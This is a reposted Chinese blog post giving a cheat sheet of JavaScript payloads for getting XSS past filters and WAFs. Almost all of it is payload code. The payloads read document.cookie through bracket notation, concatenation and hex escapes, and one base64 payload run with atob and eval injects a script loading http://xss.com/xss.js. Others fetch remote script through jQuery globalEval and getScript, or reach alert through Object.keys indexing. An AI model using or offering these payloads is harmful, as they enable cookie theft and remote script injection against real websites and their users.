绕过XSS过滤器的方法 您所在的位置:网站首页 绕过阿里云waf 绕过XSS过滤器的方法

绕过XSS过滤器的方法

2023-05-29 20:07| 来源: 网络整理| 查看: 265

绕过XSS过滤器的方法——XSS测试绕过 原创

Lern0n_S 2023-05-27 23:43:44 ©著作权

文章标签 字符串 XSS测试 文章分类 网络安全 yyds干货盘点

©著作权归作者所有:来自51CTO博客作者Lern0n_S的原创作品,请联系作者获取转载授权,否则将追究法律责任

利用window等来操纵会被认为是全局变量 window.self 与self同样效果

1、window1window["document"]["cookie"] //代替document.cookie2、window2window['alert'](window["document"]["cookie"]); //代替 alert(document.cookie)3、selfself["alert"]("123xss") ;//代替传统alert4、注释(/*hello*/self/*safe*/)[/*no*/"alert"/*alarm*/]("123xss") ;//代替传统alert5、利用拼接( self替换成window同样效果)self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"]) ;//代替传统alert6、利用十六进制( self替换成window同样效果)self["\x61\x6c\x65\x72\x74"]( self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"] ["\x63\x6f\x6f\x6b\x69\x65"] ) //alert(document.cookie)7、利用BASE64( self替换成window同样效果)self["\x65\x76\x61\x6c"]( //eval self["\x61\x74\x6f\x62"]( //atob base-64解码方法,base-64 编码使用方法是 btoa() "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6Ly94c3MuY29tL3hzcy5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs=") )//var head = document.getElementsByTagName('head').item(0);var script = document.createElement('script');script.setAttribute('type', 'text/javascript');script.setAttribute('src', 'http://xss.com/xss.js');head.appendChild(script);

8、利用JQuery1) self["$"]["globalEval"]("alert(123)"); //alert(123) 2) self["\x24"](//$   self["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x64"]//globalEval   ["\x61\x6c\x65\x72\x74\x28\x31\x32\x33\x29"] //alert(123) ) 3) self["$"]["getScript"](url). getScript //从url获取js脚本

9、利用Object.keysa=0; for(i in self) { if(i == "alert") { console.log(a); } a++; } //获取alert在数组中的位置 self[Object.keys(self)[7]]("123") // 假设通过上述代码执行结果为7 执行效果:alert("123")

//如果不允许我们使用“alert”字符串,并且上面的方法都不能使用, //我们如何找到“alert”索引号呢?JavaScript可以很好的解决这个难题。 //我们要做的就是为变量(a)分配一个函数,该函数迭代self并找到警报索引号。 //然后,我们可以使用test()来查找带有正则表达式的“alert”,如^a[rel]+t$: a = function() { c=0; for(i in self) { if(/^a[rel]+t$/.test(i)) return c; c++; } } a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} self[Object.keys(self)[a()]]("123") // alert("123") 收藏 评论 分享 举报

上一篇:网络空间资产搜索-产品界面截图



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有